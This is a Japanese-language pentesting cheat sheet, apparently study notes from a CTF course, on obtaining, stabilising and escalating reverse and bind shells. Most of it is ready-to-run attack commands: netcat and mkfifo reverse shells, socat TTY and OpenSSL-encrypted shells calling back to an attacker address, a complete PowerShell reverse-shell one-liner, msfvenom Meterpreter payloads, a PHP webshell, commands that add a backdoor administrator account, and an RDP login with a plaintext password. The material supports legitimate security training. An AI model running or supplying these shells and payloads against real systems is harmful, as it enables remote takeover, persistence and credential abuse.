はじめに
- Reverse=ターゲット→攻撃側へ接続。Bind=ターゲットが待ち受け、攻撃側→ターゲットへ接続
- まず nc -lvnp で受け、ターゲットで1行リバース。取れたら安定化(pty/rlwrap/socat TTY)
- つぎに msfvenom で OS/arch/(staged or stageless)を意識して生成、multi/handler で捕捉
- Webが弱いなら WebShell→逆シェルに昇格
- その後は “本物のログイン” を目指す(SSH鍵/資格情報/管理者追加など)
1. Shell 基礎:Reverse vs Bind
種類
| 種別 | 接続の向き | 長所 | 短所 | 典型用途 |
|---|---|---|---|---|
| Reverse | ターゲット → 攻撃側 | 外向きFWを抜けやすい | 攻撃側のLHOST/LPORT準備が必要 | CTF/現場ほぼこれ |
| Bind | 攻撃側 → ターゲット | 攻撃側が楽 | ターゲット側のFWに塞がれがち | 研究/同一ネット内 |
設問の要点
- 「攻撃側のリスナへ“戻ってくる”」=Reverse (R)
- 多くの簡易逆シェルは 非インタラクティブ(N)
- Bind のリスナは ターゲット(T) で立てる
Interactivity
-
Interactive:
ssh等の対話が動く -
Non-interactive:
whoamiは動くがsshのような対話系は無言で落ちることも
2. Netcat(nc)基本
リスナ
# 例: 443で待受(特権ポートはsudo)
sudo nc -lvnp 443
-l=listen, -v=verbose, -n=DNS解決無効, -p=ポート指定
Bindシェルに接続
nc <TARGET-IP> <PORT>
3. Netcat シェル安定化テク3
3.1 Python pty
python -c 'import pty; pty.spawn("/bin/bash")' # or python3 / python2
export TERM=xterm
# Ctrl+Z で自端末に戻る
stty raw -echo; fg
3.2 rlwrap
sudo apt install -y rlwrap
rlwrap nc -lvnp <PORT>
# さらに Ctrl+Z → stty raw -echo; fg で Ctrl+C/矢印/補完が快適
3.3 socat に“乗り換え”
- まず nc で足場 → 静的ビルド socat をアップロード → 安定TTYへ(後述)。
3.4 端末サイズ調整
# 自端末で
stty -a # rows/cols を確認
# 逆/バインドシェル内で
stty rows <R>; stty cols <C>
4. Socat 基本と“フルTTY”逆シェル
最小リスナ
socat TCP-L:<PORT> -
Reverse(ターゲット→攻撃側)
- Linux:
socat TCP:<LHOST>:<LPORT> EXEC:"bash -li"
- Windows:
socat TCP:<LHOST>:<LPORT> EXEC:powershell.exe,pipes
Bind(ターゲットで待受)
- Linux:
socat TCP-L:<PORT> EXEC:"bash -li"
- Windows:
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
- 攻撃側から接続:
socat TCP:<TARGET-IP>:<PORT> -
“超安定”TTYリスナ(Linux向け)
攻撃側(リスナ)
socat TCP-L:<PORT> FILE:`tty`,raw,echo=0
ターゲット(接続)
socat TCP:<LHOST>:<LPORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
ポイント: pty/stderr/sigint/setsid/sane が“本物のTTY”感を作る。
5. Socat 暗号化(OPENSSL)
証明書作成(攻撃側)
openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem
例:TTYテク併用リスナ(Port 53, encrypt.pem)
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0
接続コマンド(LHOST=10.10.10.5)
socat OPENSSL:10.10.10.5:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
6. よく使う1行ペイロード
nc に -e がある系(Windows版や nc-traditional など)
# Bind
nc -lvnp <PORT> -e /bin/bash
# Reverse
nc <LHOST> <LPORT> -e /bin/bash
-e が無い nc(mkfifo トリック)
# Bind(ターゲットで待受)
mkfifo /tmp/f; nc -lvnp <PORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
# Reverse(ターゲット→攻撃側)
mkfifo /tmp/f; nc <LHOST> <LPORT> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm /tmp/f
PowerShell 逆シェル(標準)
powershell -c "$client=New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);$s=$client.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1 | Out-String)+'PS '+(pwd).Path+'> ';$sb=[Text.Encoding]::ASCII.GetBytes($r);$s.Write($sb,0,$sb.Length);$s.Flush()}$client.Close()"
7. msfvenom 速習
msfvenom -p <OS>/<arch>/<payload> -f <format> -o <file> LHOST=<IP> LPORT=<PORT>
Staged vs Stageless
-
Staged:
shell/reverse_tcp(/で区切り)。短い“stager”→本体をDL&実行。multi/handler必須。 -
Stageless:
shell_reverse_tcp(_で区切り)。1発で即リバース。サイズ大きめ。
Meterpreter
- 安定・多機能(アップロード/ダウンロード/ポストEx)。Metasploitでしか受けられない。
- 例: Linux x64 Meterpreter(staged, ELF)
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=10.10.10.5 LPORT=443
- 例: Windows x64 Meterpreter(staged, EXE)
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<IP> LPORT=<PORT>
ペイロード探索
msfvenom --list payloads | grep 'linux/x86/meterpreter'
8. Metasploit multi/handler(受け側)
msfconsole
use exploit/multi/handler
set PAYLOAD <payload>
set LHOST <listen-ip>
set LPORT <listen-port>
exploit -j # バックグラウンドで起動
# 受けたら:
sessions # 一覧
sessions 10 # 例えば10番を前面化
- ポート<1024は sudo 必須
9. WebShell
超ミニ PHP WebShell
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
-
?cmd=whoamiのように実行結果が返る。 - ここから URLエンコードPowerShell逆シェル などで昇格。
代表的な逆シェル(PHP)
- Kali:
/usr/share/webshells/php/php-reverse-shell.php(IP/PORT書き換え)
10. 取れた後:次の一手
-
Linux:
~/.sshの鍵/認証情報、CTFなら平文PW、/etc/passwd//etc/shadow書換脆弱など→**SSHで“正規ログイン”**へ。 - Windows: SYSTEM/管理者権限があればユーザー作成→RDP/WinRM/psexec などへ移行。
net user <name> <pass> /add
net localgroup administrators <name> /add
11. トラブルシュート速攻チェック
- 逆方向FWで塞がれる→443/80/53 など許容ポートを試す
-
python不在→python3/python2切替 - 端末ぐちゃぐちゃ→
Ctrl+Z; stty raw -echo; fg/reset - Socat通らない→
-d -dで冗長ログ/ 静的バイナリ を転送 - Windowsの
nc -e不可→Powershell 逆シェル へ
12. クイック・チートシート
# Reverse: nc listener
sudo nc -lvnp 443
# Stabilize (Linux)
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm; Ctrl+Z; stty raw -echo; fg
# Socat TTY listener (Linux)
socat TCP-L:4242 FILE:`tty`,raw,echo=0
# Target connect
socat TCP:<LHOST>:4242 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
# Encrypted Socat
openssl req --newkey rsa:2048 -nodes -keyout k.key -x509 -days 362 -out k.crt
cat k.key k.crt > k.pem
socat OPENSSL-LISTEN:53,cert=k.pem,verify=0 FILE:`tty`,raw,echo=0
socat OPENSSL:<LHOST>:53,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
# msfvenom examples
msfvenom -p linux/x64/meterpreter/reverse_tcp -f elf -o shell LHOST=<IP> LPORT=443
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe -o shell.exe LHOST=<IP> LPORT=1234
# Metasploit handler
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <IP>
set LPORT 1234
exploit -j
まとめ
- Reverse で受ける → 安定化(pty/rlwrap/socat TTY)
- msfvenom は OS/arch/段階化(staged vs stageless)に注意。meterpreter は Metasploitで受ける。
- WebShell は“足場”。最終目標は 正規アクセス手段(SSH/RDP/WinRM)へ昇格。
- すべての過程で FW/端末/権限 を意識して最短で“使えるシェル”に仕上げる。
この構成を手元のテンプレにしておけば、CTFでも実案件でも「取る→安定→昇格→常套手段へ移行」の流れが素早く回せます。
追記
引数の意味
- pty — allocates a pseudoterminal on the target(ターゲット側で擬似端末を割り当て、安定化の中核)
- stderr — makes sure that any error messages get shown in the shell(非対話シェルで埋もれがちな標準エラー出力を表示)
-
sigint — passes any Ctrl + C commands through into the sub-process(
Ctrl+Cを子プロセスへ渡し、実行中コマンドだけを停止可能に) - setsid — creates the process in a new session(新しいセッションで起動し端末制御を安定化)
- sane — stabilises the terminal, attempting to "normalise" it(端末状態を“正常化”して表示や入力の乱れを抑制)
接続コマンド(再掲)
socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
xfreerdp
xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:10.201.122.237 /u:Administrator /p:'1232dfdf!'
python3 -m http.server 9000
wget http://10.201.55.57:9000/shell.exe
PentestMonkey php-reverse-shell